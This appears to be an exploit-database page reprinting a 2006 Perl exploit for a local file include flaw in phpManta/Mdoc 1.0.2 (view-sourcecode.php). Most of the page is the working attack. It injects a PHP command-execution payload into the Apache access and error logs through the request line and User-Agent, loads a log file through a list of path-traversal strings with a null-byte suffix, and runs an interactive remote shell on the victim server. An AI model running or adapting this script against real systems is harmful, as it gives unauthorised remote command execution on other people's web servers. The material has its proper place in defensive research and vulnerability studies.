Lucene search
K

phpManta <= 1.0.2 (view-sourcecode.php) Local File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

phpManta <= 1.0.2 Local File Include Exploit with Apache Path Traversa

Code

                                                #!/usr/bin/perl
#[Script Name: phpManta - Mdoc &#60;= 1.0.2 (view-sourcecode.php) Local File Include Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
use IO::Socket;
use LWP::Simple;
@apache=(
&#34;../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/access_log&#34;,
&#34;../../../../../etc/httpd/logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../.. /../../var/www/logs/access_log&#34;,
&#34;../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/log/error_log&#34;
);
if (@ARGV &#60; 3){
print &#34;
[========================================================================
[//  phpManta - Mdoc &#60;= 1.0.2 (view-sourcecode.php) Local File Include Exploit
[//           Usage: manta.pl [target] [path] [apachepath]
[//                   Example: manta.pl victim.com /manta/ ../logs/error.log
[//                           Vuln&Exp : ajann
[========================================================================
&#34;;
exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print &#34;Injecting code in log files...\n&#34;;
$CODE=&#34;&#60;?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?&#62;&#34;;
$socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$host&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;Connect Failed.\n\n&#34;;
print $socket &#34;GET &#34;.$path.$CODE.&#34; HTTP/1.1\r\n&#34;;
print $socket &#34;User-Agent: &#34;.$CODE.&#34;\r\n&#34;;
print $socket &#34;Host: &#34;.$host.&#34;\r\n&#34;;
print $socket &#34;Connection: close\r\n\r\n&#34;;
close($socket);
print &#34;Write END to exit!\n&#34;;
print &#34;IF not working try another apache path\n\n&#34;;

print &#34;[shell] &#34;;$cmd = &#60;STDIN&#62;;

while($cmd !~ &#34;END&#34;) {
    $socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$host&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;Connect Failed.\n\n&#34;;
    print $socket &#34;GET &#34;.$path.&#34;Mdoc/view-sourcecode.php?file=&#34;.$apache[$apachepath].&#34;%00&cmd=$cmd HTTP/1.1\r\n&#34;;
    print $socket &#34;Host: &#34;.$host.&#34;\r\n&#34;;
    print $socket &#34;Accept: */*\r\n&#34;;
    print $socket &#34;Connection: close\r\n\n&#34;;

    while ($raspuns = &#60;$socket&#62;)
    {
        print $raspuns;
    }

    print &#34;[shell] &#34;;
    $cmd = &#60;STDIN&#62;;
}

# milw0rm.com [2006-11-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
10